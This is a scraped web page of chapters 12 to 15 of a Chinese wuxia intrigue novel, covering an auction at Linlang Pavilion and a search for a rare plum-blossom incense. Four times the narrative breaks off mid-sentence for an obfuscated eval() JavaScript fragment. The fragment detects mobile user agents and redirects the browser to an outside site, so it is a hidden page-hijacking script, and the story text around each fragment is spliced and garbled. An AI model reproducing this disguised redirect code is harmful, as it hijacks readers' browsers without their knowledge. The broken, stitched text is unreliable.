l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728840|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是事实?” 崔不去冷哼一声,懒得与他再作口舌之争,接上方才的话:“唯一的可能,便是他在卢氏面前,格外不同。” “卢氏喜欢他这性情,他就在卢氏面前格外不同,卢缇喜欢聪明人,他在卢缇面前就是精明好学的后辈。有点儿意思!” 凤霄话锋一转,忽然道:“去去,你在六工城两个月,基本把全城人都摸清了,连卢家女眷都没放过,知道的说你在当道士,不知道的还以为你想做什么偷鸡摸狗的勾当呢!” 崔不去呵呵两声,假笑道:“那我现在不也落入了解剑府凤二郎君的魔爪吗?” 凤霄:“这就不对了,解剑府乃奉天子令而立,权同刑部,你这样说,不是在讥讽当今陛下吗?我会记仇的。” 放心,我比你更记仇。崔不去心道,咳嗽两声,将力气省下来。 用过饭,三人前往琳琅阁分号。 凤霄与裴惊蛰不知道的是,在他们前脚刚走没多久,二楼雅间又有一男一女入内。 “我方才看见尊使的脸色不大好,也不知是不是又生病了!” 说话的女子音若冰雪,却生得极美,两种矛盾的特质在她身上融合无碍,如惊鸿幽兰,无须看客欣赏,就足以映照天地。 男人没有接话,他径自走到刚才崔不去他们吃饭的桌子旁边,低头看了一会儿,忽然拨开桌子上的豆子。 “尊使留下了什么?”女子也走过来。 “梅花冷香。”男人轻声道。 女子蹙眉。 “尊使想让我们找梅花冷香的香方?” 男人言简意赅:“于阗,命案。” 他惜字如金,能省则省,得亏女子与他共事多年,能从四个字里听出一串线索。 “梅花冷香与于阗使者命案有关,但如果容易查,解剑府应该早就查出来了,尊使应该不会特意给我们留下来。不管怎样,我们还是去香料铺子去问一下。” 12. 第 12 章 木制的桌沿,原先崔不去坐着的地方,有四个用指甲划出来,气若游丝的字,梅花冷香。 女子盯着那四个字,眉间浮现隐忧。 “尊使写字的力道,比他上回好似又弱了一些。我怕他身上又受了什么伤。” 男人素来不怎么爱说话,此时却不能不开口提醒她:“乔仙,尊使向来自有主张。” 乔仙没好气:“你跟了尊使这么久,竟还不了解他,他的分寸是对事情的分寸,对自己的身体,他从来就没有分寸!” 长孙菩提不说话,用“那你又能怎样”的眼神看着她。 乔仙有点丧气,她的确是不能怎么样。 崔不去从来就是不达目的不罢休的人,他们现在除非跑到凤霄面前,表明崔不去的身份,将人带回来,否则就只能按照吩咐进行下一步的计划。但如果因此坏了尊使的大事,她估计也不用在左月局待下去了。 想及此,乔仙无声叹了口气。 “时候不早了,去香铺。”长孙菩提提醒道。 “走吧。”乔仙顺手一抹,纤纤右手从桌沿扫过,那行浅淡的字立时消失不见,桌沿平滑如初,似什么都未发生过。 六工城内香铺不少。 由于此处是往来东西的要道,香铺中往往还有许多西域独有的香料,品种甚至比京城还要更多更杂一些,乔仙与长孙菩提本以为梅花冷香会很好找,谁知他们问了一上午,几乎走遍全城所有香铺,最后只买到三种与梅花有关的香方。 “说来巧了,在你们之前,也有一位郎君来问过梅花冷香,高高瘦瘦,挺年轻俊俏的。”香铺主人比划了一下。 乔仙与长孙菩提对视一眼,都猜到对方说的,应该就是凤霄身边的裴惊蛰。 但这条线索,既然解剑府的人已经查过一次,按理说已经查无可查,为何尊使还要特地告诉他们? 崔不去从来不会做没有意义的事情,二人都觉得这里头应该还有一些他们没想到的细节。 “别的地方我不敢说,但六工城内,香方定要数我这里最齐了。你们要找的梅花香,这里有三种,其中一个方子,还是几年前我救过一位西域客商,他送给我的。” 香铺主人说道,一面让伙计拿来三块香牌。 练武之人嗅觉灵敏,身上留香,很容易在逃命或隐蔽的时候让敌人发现行踪,乔仙身份特殊,身上更是从来不熏香,对于她这样甚少接触熏香的人而言,对香气更加敏感,几乎一下子就能分辨出各种味道。 “这是,梅花与杏花?”乔仙闻了闻手上的香牌,递给长孙菩提。 香铺主人点点头:“不错,这种香叫三月春雪,是现在京城最流行的,年轻小娘子们都爱用,尤其是高门大户的女眷们,春天时穿上鲜嫩衣裳,再熏上它,像您这样的仙子,保管一堆说亲的都要踩破您家的门槛呢!” 他舌灿莲花,哪怕是面对前来询问的客人,也要极力说服他们买下东西。 “这种香名叫静水流深,有檀香与梅香,最适合安神定气,镇邪驱恶。”香铺主人说罢,又拿起一块。 长孙菩提闻了闻,摇摇头。 乔仙也道:“这不是我们要的梅花冷香。” 香铺主人将第三块香方递给他们:“纯粹的梅花香气,只有这一种。” 长孙菩提掂在手中,便觉梅花香气浓烈如火,扑鼻而来,却少了梅花本身的凛冽,反倒如同牡丹一般馥郁芳香。 乔仙见长孙摇头,就将香牌拿过来,果然感觉与他一般。 “东家,你见多识广,这梅花冷香,难道就真那么难配?” 主人道:“寻常香方,都是香气越浓郁越好,这冷香沾了冷字,自然与旁的不同,初闻时只见淡淡冰雪气,半个时辰之后,梅花香气才逐渐出来,但只闻凛冽,不见浓郁,经久不散,能够维持好几天。” 乔仙想到命案发生之后过了一夜,凤霄他们去现场,还能闻见香气残留,得到这条线索,便点头表示赞同。 “也就是说,能用这种香的,必定不是寻常人?” 主人道:“冷香也有不同,如菡萏冷香,青竹冷香等,但因梅花开在冰雪天,带了冰雪气,这冷字才格外应景,这种香很少见,几年前我自己得了一块菡萏冷香,舍不得卖,准备留给女儿以后当嫁妆,这梅花冷香就更少有了,谁家能制出这种香,必然珍而藏之,不会轻易示人的,物以稀为贵,否则街上人人都熏,哪里还会稀有?” 乔仙道:“那你知不知道有谁能制梅花冷香?” 香铺主人苦笑:“我若知道,我早就重金聘他回来了,又怎会与你们说这么多?奇香可遇不可求,我这半辈子都在与香打交道,你们若是找到他,还请不吝告知。” 他说罢微微顿了一下,拍拍脑袋:“对了,上个月春香坊的芸芸小娘子以一舞夺魁,惊艳大半个六工城,听闻她每日都用不同的熏香,但又从未派人到我这里来买过,想必身边另有高人,你们不妨去问问!” 乔仙与长孙菩提均是眼前一亮。 “之前那郎君来问你的时候,你可给他说过这件事?”乔仙问道。 香铺主人摇头:“当时我想不起来,自然是忘了。” 乔仙:“那春香坊可是乐坊?” 香铺主人随即露出男人都懂的暧昧笑容。 乔仙立马就明白了,她觉得自己这个问题问得很愚蠢。 香料往往也是药材,香药相通,崔不去既然熟知医术,对香方有所了解也并不奇怪,更能从梅花冷香四个字,就推断出这种香方的罕有,从而将线索传递出去。乔仙与长孙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728841|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菩提对他们这位尊使的能耐早已见怪不怪,世人肤浅,看到崔不去身体多病,手无缚鸡之力,往往会轻视他,但这样的人若能在风云变幻中占据一席之地,必然拥有常人所不及的能耐,左月局上下,哪怕崔不去十天里有八天都在床上躺着,也没有人敢小觑他。 “解剑府的人要是知道那间五味馆是我们左月局的据点,会不会气得吐血?”乔仙窥见破案的一线希望,心情也比之前好了不少,虽还冷着一张脸,但语气已经变得轻松。 长孙菩提不答反问:“春香坊,你去我去?” 乔仙:“自然是我去,你这张脸去了那里,人家只会把你当成讨债的,绝不会认为你想去寻乐子。” 长孙菩提转着手里的佛珠,不做声了。 因为乔仙的话,他没法反驳。 …… 琳琅阁。 今日是最后一日拍卖,人比前几日都要多,但入场的门槛却要比之前高上不少,除了请帖之外,客人还得在进门之前交上一笔保证金,若拍下心爱之物,保证金多退少补,若是什么也没看中,临走前琳琅阁再将保证金归还。 如此一来,就杜绝了许多别有用心,或根本买不进,只想进来看热闹的人。 凤霄刚刚带着崔不去、裴惊蛰入内,后面就有人咦了一声:“这不是凤二吗?” 那人快步赶上他们,又惊又喜地看着凤霄:“凤二,好久不见,你竟在这里?” 对方二十五六,高冠红衣,一派风流潇洒的世家公子风范,但崔不去目力何等锐利,立马就看出此人对待凤霄与众不同的态度。 寻常故友重逢,也不至于这般热诚还带了几分殷勤的。 可要说此人是想巴结凤霄,看着又不像。 崔不去正思忖间,凤霄已是扬眉一笑:“林少庄主,好久不见。” 这四字一出,再看对方年纪行止,崔不去脑海中立时就浮现出对方的来历。 雁荡山庄,江湖中等世家,以经商为主,家财万贯,家传雁荡剑法十三式,庄主林棱,年过不惑才得了爱子林雍,自然百依百顺,无所不应,连他荒唐的嗜好,也默许不加阻拦,是以雁荡山庄在江湖中出名,竟不是因为林家有钱,也不是因为林家的雁荡剑法,而是因为林雍。 却见林雍眉间欢喜,就要上前来握凤霄的手,后者却不着痕迹避开几寸,手转而滑上崔不去的肩膀,在对方还没来得及反应之前,就已经将崔不去给抓到自己身边,两人肩膀狠狠挨了一下。 凤霄:“来,给你们介绍一下,这是我的密友,姓崔,名不去。去去,这位是雁荡山庄的少庄主,林雍。” 他特地在密友二字上加重,唇角带起意味不明的笑意,光是听着都觉得暧昧,令人不由浮想联翩。 崔不去:??? 13. 第 13 章 密友二字一出,林雍看崔不去的目光立时变得不善。 崔不去既然听过林雍的传言,哪里又会不明白为什么,他想也不想就要拂开凤霄的手,谁知对方的手却像牢牢黏在自己身上一样,怎么拨也拨不开。 林雍目光一闪,笑道:“能当凤二的密友,崔郎君必有过人之处,不知崔郎君这个崔,是博陵崔氏之崔,还是清河崔氏之崔?” 崔不去面色淡淡:“山隹崔,既非博陵,亦非清河,一介白衣,区区贱名不足挂齿。” 他越是这样说,林雍越发觉得捉摸不透。 崔不去脚步虚浮,面色冷白,眉眼倦怠,明显不会武功,而且带病在身,这样一个人,能得凤二青眼,实在令人费解。 林雍几年前偶遇凤二,蒙对方援手,摆脱了一桩小麻烦。 当时凤二从天而降,令他一见惊艳,从此别人都入不了眼。奈何凤二对他压根没有那方面的兴趣,兼之武功高强,林雍就是想要霸王硬上弓也没机会,搞不好连小命都不保,只好捺下蠢蠢欲动的心思,对凤霄殷勤备至,期待对方回心转意,不过凤二行踪飘忽不定,林雍对他的背景身份也并不完全了解,想要找人也找不着,此番能够在此重逢,实在是意外之喜。 林雍自认丰神如玉,偏偏在凤二那里还比不上一个病痨鬼,心头自然带了几分不快。 他还想说什么,凤霄却没给他这个机会,微微一笑,说了声“我们先行一步”,便带着崔不去入内。 崔不去几乎是被凤霄半推半拉进了里间的,凤霄的动作看似亲密,实则根本没有让人反抗的余地。 琳琅阁内里共有二层,形似天井,中间是拍卖的场地,四周则是客人座位,从二楼凭栏下望,正可将中间的情景尽收眼底,凤霄与崔不去的座位,正好就在南面二楼边上,矮几上早有茶水点心,伙计也不似寻常酒亭食肆那般高声喧哗,连走路都悄无声息,受此影响,大多数客人也都放轻了说话声,琵琶曲调遥遥传来,倒映出几分幽韵,不像琳琅阁在做生意,倒像进了乐坊。 崔不去放眼粗略一扫,发现一楼多是寻常富商与江湖人士,二楼则多为世家子弟,相比二楼的清净,自然是一楼更加吵闹一些,琳琅阁特地将两者分开,也避免了许多不必要的麻烦。 他们刚刚走上楼梯转角,拐入屏风后面,彻底摆脱林雍那道如影随形的目光,凤霄几乎同时松开手,迫不及待将崔不去往旁边一推,像是生怕稍迟一点就会沾上什么脏东西。 崔不去:…… 他默默地在账册上又记上一笔,面无表情找到位置坐下。 凤霄似无所觉,笑吟吟问道:“看你的表情,应该知道林雍的癖好吧?” 崔不去不悦:“这就是你将我推出去糊弄他的原因?你我合作中貌似没有包括这一项吧?” 凤霄一脸无辜:“好歹我今日也带你来看世面了,作为回报,你稍稍付出一点儿,又有什么关系?有我在,他也伤不了你的。” 崔不去淡淡道:“林雍虽然荒唐,却不是傻子,你拿我作借口,还不如拿裴惊蛰更为可信。” 默默喝茶的裴惊蛰忽而呛咳了一下。 凤霄笑道:“那不行,他没你好看。” 话音方落,林雍的身影就出现在屏风后面。 “楼下甚是吵闹,令人不得清静,不知凤二郎是否介意我前来叨扰?” 凤霄与崔不去之间原本相隔一尺有余,但就在林雍声音响起的瞬间,凤霄以迅雷不及掩耳之势,握住崔不去的手腕,上半身随之倾来,亲昵笑道:“去去,你鼻子上有灰,来,我帮你抹掉。” 崔不去:…… 林雍盯住崔不去的眼神越发灼热逼人,崔不去分明从中看见一闪而过的杀意,但对方很快又恢复潇洒风流的作派,仿佛刚才只是错觉。 放眼江湖,雁荡山庄虽然只是中等武林世家,但因着林父豪爽好客的面子,旁人与林雍打交道时,还是挺给面子的,但到了凤霄这里,就完全行不通了。 “抱歉,恐怕已经坐不下了。”凤霄面上笑着,却拒绝得很干脆。 林雍不死心,还想说点什么,裴惊蛰适时拦在面前:“林少庄主,请。” “那我们改日再叙。”林雍只好道。 凤霄微微颔首。 他对林雍表现得很不给面子,但林雍却没有表现出半分不快,对林雍而言,凤霄就像一道翩然惊鸿影,查不出名字来历,如凭空出现在这个江湖,来无影去无踪,但只凭这风仪行止,已足够令林雍为之倾倒,否则也不会念念不忘至今。 临走前,林雍忍不住又看了崔不去一眼,后者的手腕正被凤霄捉在手中把玩,眉目低垂,看不清表情。 他心下微哂,暗道也不过是个玩物罢了,便甩甩袖子离去。 待凤霄的手指从自己手腕上挪开,崔不去却没有方才的不悦,反是若有所思。 以解剑府二府主的身份地位,凤霄根本无须顾及林雍的感受,更不必拿崔不去来当挡箭牌,但林雍几番纠缠,他居然还没与林雍闹翻,犹留了一丝余地,这其中必定有其它缘故。 “你在想什么?需要我帮忙解惑吗?”凤霄的声音在耳旁响起。 崔不去忽然想到一种可能性:“解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728842|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑府是不是暗中在调查林雍?” 凤霄目光微闪:“你怎会如此认为?” 崔不去不语,心中想道:难道林雍与于阗使者的案子有关?不,应该不是,雁荡山庄离六工城十万八千里,平日里与于阗和琳琅阁都没有生意往来,林雍会出现在这里,应该的确是过来看热闹的。不过林家的买卖中,有一种叫天净纱的绢帛,产自南方,其色如天光,其布若冰肌,深受达官贵人喜爱,被列为贡品,每年由林家向宫中供给,林家之所以发迹,也正是从这桩买卖开始,听说他们最近想要凭借于此,搭上太子的船。 凤霄任凭他在那里思索,好整以暇道:“去去啊,以你的能耐,只在左月局当个默默无闻的细作,实在太委屈了,如今解剑府三位府主,若你有意投靠,我可向上呈禀,再为你专设四府主之位。” 裴惊蛰一旁微微睁大眼睛,想说点什么,又忍住了。 解剑府位比六部,大府主为刑部尚书兼任,凤霄又有先斩后奏之权,可见权限之大,这崔不去虽说很可能是左月局的人,但现在还未彻底确定他的身份,他家郎君就以四府主之位相许,不可谓不隆重,裴惊蛰一时竟分不清凤霄到底是真心想要招揽人才,还是故意在试探崔不去。 崔不去面色无波,缓缓抬头:“什么左月局,我怎么听不明白?” 凤霄握住他的手:“你身体不好,还要在这边城奔波劳累,机关算计,却无人得见,我是真为你可惜,解剑府如今就少个像你这样的智囊,你若肯点头,左月局那边,就由我出面去说,保管不得罪你的顶头上司,你以为如何?” 他神情专注地凝视崔不去,敛了笑容的面色带着真挚诚恳,简直能令铁树开花,石头落泪。 崔不去头一回发现这世上当真有人能凭着一张脸就骗得别人神魂颠倒,忘乎所以的,虽然崔不去自忖没有被迷惑,但也不妨碍他欣赏对方灿若春花的美貌。 “凤郎君,虽然你的话很令人心动,不过我并不知道左月局是什么,也只想安安分分当个道士,还希望你此间事了,就遵守诺言,放我自由。” 色|诱失败,凤霄微哂一下,松开他的手,往后背一靠,原形毕露。 “我什么时候承诺过要放你了?当初说的是考虑放你,至于能不能打动我,就看你的表现了。” 虽然他摆出一副无赖模样也很动人,但崔不去还是忍不住暗骂一句厚颜无耻。 就在二人你来我往的较量中,清脆铃声响起,一名中年人走向楼下天井中央。 所有人不约而同被吸引了视线,循声望去。 正戏开始了。 14. 第 14 章 自琳琅阁传出名头之后,不少典当行与银楼也都跟着有样学样,整了不少拍卖噱头,可惜论起财大气粗,都比不上琳琅阁之万一,每年只要琳琅阁一下请帖,必定是千金难求,许多人视此为身份象征,也都以拿到这里的请帖为荣。 凤霄想要一张请帖,无须表明身份也能手到擒来,但别人就没有这么容易了,今日不乏头一回赴会的,一见这中年人出现,顿时都安静下来。 “今日乃唱卖的最后一日,多谢各位百忙之中拨冗前来,琳琅阁上下不胜荣幸,闲话不多说,各位想必早已等急了,这就奉上第一件拍品,请诸位贵客稍等。” 中年人并未扯着嗓子嘶喊,声音自然而然就传遍每个地方,除了此处特有的天井设计之外,此人应该是个内家高手。不过话说回来,琳琅阁家大业大,自然会引得不少人眼红觊觎,聘请各路高手过来坐镇,也就不奇怪了。 对方说罢,美貌侍女端着托盘上前,两名年轻侍者一左一右,将被金绸覆盖物品揭开,一尊青铜酒爵出现在众人视线之内。 “此乃春秋时齐桓公所用之酒器,爵下有三字铭文,可证身份,此物由我们琳琅阁东杨先生鉴为真品,起拍价为十贯,益价三次,诸位开始吧。” 侍女拉动下中绳索,铃声响动,立时就有人道:“十一贯!” “十二贯!” “十三贯!” 叫价开始之后,场面再度热闹起来,不一会儿就有人叫到了三十贯的高价。 这些人未必是对这尊青铜酒爵有多大的兴趣,主要是从琳琅阁流传出去的珍奇,一般都能价值翻倍,哪怕自己不留着,拿去送礼,只要说一声经琳琅阁东杨先生鉴别,收礼之人自然也会刮目相看。 “出三十贯的是谁?”凤霄饶有兴致地问崔不去。 他没有参与叫价,相比那尊酒爵,凤霄对竞拍的人更感兴趣,他知道崔不去肯定会知道。 果不其然,崔不去道:“对方名叫冷都,是漕运九帮总舵主的义子,最近总舵主宁舍我送了一位美人给南朝皇帝陈叔宝,此美人得了陈叔宝青眼,宠遇有加,陈叔宝也许会因此龙颜大悦,将南方漕运分一杯羹给宁舍我,冷都拍下这件酒器,应该是拿去送礼的,不过陈叔宝堂堂天子,看不上这个,这件礼物可能是送给陈叔宝身边的内侍。若无意外,他对此物势在必得,别人也不会在第一件东西上就与他争抢不休。” 漕运九帮不是一个帮派,而是九个帮派的合成,它们以水为生,靠水吃饭,是南方武林一股不可小觑的势力,九帮之中以金环帮势力最大,于是金环帮帮主宁舍我就被推举为总舵主。 宁舍我也的确是个枭雄人物,在他的经营下,漕运九帮很快崛起,从一个不过中等规模的联盟,一跃成为江南武林之首,风头一时无两。 解剑府想要查什么人,虽然也易如反掌,但终究不如带个崔不去在身边更方便,武林掌故江湖人物早已尽在心中,随口一说就能道出对方来历,背景目的,这份本事连裴惊蛰也自叹弗如,暗道左月局人才辈出。 待崔不去说完,三次益价也已唱完,青铜酒爵最终被冷都买下,完全符合崔不去的预料。 此人原是面色苍白,病态恹恹,一件大氅几乎将半张脸盖住,歪坐在那里都能让人感觉到倦意扑面而来,但他开口说话时,却分明有种运筹帷幄的笃定,令人不由自主信服有加。 凤霄拍手赞道:“阿崔好生厉害,放眼满堂佳客,只有你得了三分风流!” 崔不去紧闭嘴巴,非是不接他的话。 偏偏凤霄还不肯罢休:“你就不问我另外七分在哪里?” 崔不去冷冷道:“不用问也知道。” 凤霄笑道:“看来你也是这么想,英雄所见略同,天下风流,我已占了七分,余下三分,就分给你吧!” 崔不去翻了个白眼作为回答。 裴惊蛰好奇道:“那宁舍我可有亲子?” 崔不去摇头:“宁舍我与妻子成亲十九年,膝下无所出,只收了冷都一个义子,视如亲出。宁舍我已经放出风声,明年要金盆洗手,如无意外,金环帮帮主之位,应该是会传给冷都,但冷都年纪轻,连金环帮内部都压服不了,所以具体如何,还待观察。” 裴惊蛰只当市井逸闻听听,一笑便罢,因为他觉得这些江湖恩怨远在南方,又是帮派内部的琐事,与北方乃至大隋都没什么关系。 崔不去似乎看出他的想法,淡淡道:“天子若意欲伐陈,必得渡河南下,漕运就变得至关重要,如果能从内部分而化之,令其生乱,总比到时候漕运九帮协助南朝对付大隋好吧。” 凤霄笑而不语,他早已想到这一层。 裴惊蛰却未必有这个见识,闻言当下一怔,拱手道:“受教了。” 起初见崔不去开口说不了两句话就咳嗽几声,裴惊蛰嘴上不说,心下难免有些轻视,毕竟解剑府与左月局不同于一般三省六部,这两个地方经常需要在光与影的交界游走,既要上得了朝堂之高,又得纵横江湖之远,武功不是必须,但没有三两下,在强者为尊的武林中几乎寸步难行,可崔不去就是个意外,此人出身琉璃宫,对江湖人士了如指掌,却根本不会半点武功,此时虽受凤霄挟制,言行之间也不落半点下风,毫无谄媚求饶之色。 裴惊蛰觉得,这等人物,哪怕不会武功也不算什么毛病,若能争取到郎君麾下,那解剑府才是如虎添翼。 接下来又是两件古玩的唱卖,一件是古琴绿绮,一件则是名剑白虹。 琴是名琴,剑也是好剑,自然引来无数人竞拍争抢,凤霄似乎对那具绿绮有点兴趣,参与了几回竞价,最后有人出到了三千两白银,将琴定下,凤霄也没有非要不可的心思,直接中途放弃。 崔不去见他分明想要那具琴,却又半途而弃,不由多看了他几眼。 凤霄立时注意到了,朝他勾唇一笑:“我不要绿绮,因为我有更大更好的宝贝,你要不要看看?” 崔不去:…… 崔不去并不是一个讷于言辞的人,如果他愿意,可以将对方说得面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728843|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上无光,灰头土脸,以前对上凤霄这种无赖,无须他开口,身边自然会有人为他清理干净,如今虎落平阳,一时受困,竟得亲身上阵,与对方四目相对,唇枪舌战。 不过话说回来,崔不去也不是大姑娘,自然不用指望他听了这话会有懵懂茫然或面红耳赤的反应,相反他仅仅是无语片刻,就很淡定地反问:“拭目以待,请君一掏。” 凤霄啧啧两声:“阿去,你也太轻佻了,万物有灵,怎可用掏之一字?应该是用捧才对。” 崔不去:“就怕你的宝贝捧出来,不多一刻便缩到指节粗细,那我就大失所望了。” 凤霄惊奇道:“我说的是琴,难道你说的不是?” 崔不去冷笑:“我说的也是琴,你怎么知道我说的不是?” 裴惊蛰:…… 他简直对二人的对话不忍继续听下去,只能借由举杯喝茶的动作掩饰嘴角抽搐。 凤霄用一种“你就编吧”的表情看着崔不去:“那你说说,世间有什么琴,可以缩小变大?” 崔不去道:“天工楼李璇玑,新近做出一具叠琴,叠起时不过巴掌大小,展开又如琵琶,凤郎君出身解剑府,理应知闻天下,却连这件事都不知晓?” 凤霄笑道:“李璇玑固然巧手天赐,但我的琴,肯定要比他好,也比绿绮好,只不过绿绮毕竟是名琴,难得现世一见,若能借过来把玩几日,那就更好了。” 崔不去道:“拍下绿绮的人叫崔皓,是博陵崔氏第二房的嫡孙,下个月初八,是其祖崔咏的寿辰,崔咏爱琴如命,又素来爱重崔皓。” 言下之意,这具琴,是崔皓买去送给祖父的。 接下来又有几件珍宝被捧出来,很快被一一竞拍走。 能来琳琅阁的人自然不会缺钱,有时候当众买走一件东西,更能彰显身份地位,给人以虚荣感,所以哪怕价值昂贵,也都有人抢着买下,但买者的身份,凤霄与裴惊蛰未必都认识,崔不去却能随口道来,凤霄从他的介绍里,大致就可以判断这些人与案子有无关联。 临近中午,拍卖已过半,琳琅阁陆续给各桌送上热菜点心,有这些东西垫肚子,众人倒也不觉饥饿,反是对接下来的珍奇越发期待。 裴惊蛰有些坐不住了,他怀疑天池玉胆根本不会在这里出现,但看凤霄和崔不去依旧安之若素,只得捺下焦虑,重新坐好。 就在此时,他听见那中年人道:“接下来这一件是玉石,并无来历,亦无名头,是昨日刚刚送至琳琅阁的,并未经过东杨先生鉴别,无法判定真假。这样的物品,若有客人买走之后反悔,我们琳琅阁也是概不负责的,还望周知见谅。” 这规矩,中年人先前已经说过,现在再度强调一遍,不少意愿不强的人听了就先望而却步。 待那被装在雕漆匣子中的物件被捧出来,于窗外投入的日光中华练流转时,所有人都不约而同倒抽了一口凉气。 裴惊蛰更是再也坐不住,腾地直起身体,盯住侍女手中之物。 天池玉胆! 15. 第 15 章 就在凤霄与崔不去正在琳琅阁等着天池玉胆出现时,六工城内的春香坊却迎来一位奇怪的客人。 说奇怪,是因为对方剃着光头,手握佛珠,说他是和尚,明明穿着常服,说他不是和尚,又一脸古井无波,不像进来消遣娱乐,更像是进来给人传经布道的。 坊主薛娘子迎来送往这么多年,也是头一回看见这么奇怪的客人,听说对方不顾门禁,非要闯进来,她只得随意拢了个发髻,打着呵欠,在护院的陪伴下走出去。 两边一打照面,薛娘子愣了一下,火气生生压下去几分,改而换上一张笑脸。 “这位郎君,我们春香坊白日里是不待客的,您若有意,不妨等酉时之后再来。” 长孙菩提道:“听说芸芸小娘子一舞动半城,我特地过来看她。” 薛娘子掩嘴一笑:“芸芸小娘子,只怕此刻还懒起画娥眉呢!” 若春香坊的熟客在此,看见向来泼辣性急的薛娘子对个不懂规矩的人如此客气,只怕是要吓掉下巴,但对薛娘子而言,哪怕是她阅人无数,长孙菩提的英俊,也已足够她消了起床气,换上一副笑脸相迎。 长孙菩提微微皱眉:“但我只是路过六工城,晚上就要走了,不能让我见她一面吗?” 他拿出一个锦袋,递给薛娘子。 薛娘子接过打开,登时愣了一下。 袋子里头全是圆滚滚沉甸甸的南海金珠,在阳光下熠熠生辉。 长孙菩提英俊的脸加上这一袋金珠,别说要芸芸小娘子作陪了,就算是要薛娘子亲身上阵,她都不会有二话。 “郎君快里边请,我这就去叫芸芸!” 长孙菩提微微点头,目光不着痕迹地从前屋扫过,一道轻盈的身影一闪而过,很快又消失在视线之中。 如果想要掩人耳目,当然是夜晚过来最好,那时候春香坊人来人往,衣香鬓影,最容易遮掩行踪。 但夜晚同时也是对方最容易蛰伏潜藏的时候,乔仙与长孙商量之后,都认为白天过来,反其道而行,最容易打对方一个措手不及,说不定还能引蛇出洞。 春香坊楼阁重重,曲廊回绕,暗香隐隐,果真有深闺藏娇的感觉,长孙走在薛娘子后面,想到的却是这样的地形极易藏人,便是武功高手过来找人,只要对方屏息静默,借着周围花鸟鱼虫的动静遮掩,还真未必能找到。 “这里便是芸芸的住处,你自个儿上去吧,她可能还未起床。”薛娘子笑道。 这位芸芸小娘子虽然既卖艺也卖身,但不是想要就能得到的,只不过长孙实在阔绰,出手就是一袋金珠,莫说一个芸芸了,就是十个芸芸都已足够。 薛娘子说罢,转身就走了,长孙敲了两下,门很快被打开,一名少女看见他站在门口。 长孙菩提道:“我来找芸芸。” 少女微怒:“你这人好不懂规矩,娘子白日里不待客的,快快离开,否则我就叫人了。” 长孙:“是薛娘子带我过来的。” 少女愣了一下,怒色随即化为悲哀,但一闪即逝,她平静道:“那郎君请进吧,劳烦您在前厅稍坐,芸芸娘子还未起身,我这就去叫醒她。” 长孙点头:“有劳了。” 这里必然是花费了心思装点打扮的,长孙环顾四周,看见窗前摆了一盏腊梅,他正想着春日里哪来的梅花,上前一看,才知是绢花,只是捏得极好,上色均匀,深浅有致,以假乱真。 “好看吗?”身后传来女子的声音,婉转动听。 “好看。”长孙菩提回过头,“这是你自己做的?” 芸芸笑而不语,一头青丝仅仅是随意挽起,单衣之外穿了件外裳,松松垮垮,别有慵懒风情。 “好看就好,何必管出处?郎君为何白日里闯进来,薛娘子竟也不阻拦?” 长孙菩提言简意赅:“一袋金珠。” 芸芸却一下子就听明白了,她自失一笑:“难怪薛娘子也肯为你破例。” 说罢她主动握住长孙的手,依偎上来。 甭管这位芸芸小娘子的舞姿多么倾国倾城,许多因此一掷千金的人,说到底还是为了她这个人,软玉温香固然别处也能轻易得到,但人人趋之若鹜的本质,必然是那份独占的虚荣感。 芸芸也很明白这一点,并未像其他乐坊魁首那样拿腔作势。 但长孙菩提却推开了她的手。 “我想看你跳舞。” 芸芸噗嗤一笑:“郎君莫不是害羞,想先赏舞乐?也成,不过这会儿没有乐伶伴曲,只能让我的侍女先进来弹琵琶了。” 长孙菩提道:“我非是害羞,也没有故作清高,只是单纯想看你跳一支舞。” 他面色平淡,连笑容也无,说出来的话却反倒更可信些。 “这支金钗,你还记得吗?”长孙从袖中拿出一支钗子递给他。 芸芸先是面露迷惑,而后神色慢慢有了变化,似回忆起什么。 “你是不是,东边巷头那个……” 长孙点点头:“八年前,一个少年流落街头,饥寒交迫,差点就死了,是你给了他一支金钗,让他去典当,度过难关。后来他得了钱,就把这支金钗赎回来,一直带在身边,今日特来交还,还你一段善始善终。” 芸芸盯着金钗看了半晌,泪水渐渐漫上眼眶,最终滴落在长孙菩提的手心。 “八年了,你已是个顶天立地的男人,我却老了。” 长孙道:“你若愿意,我可以为你赎身。” 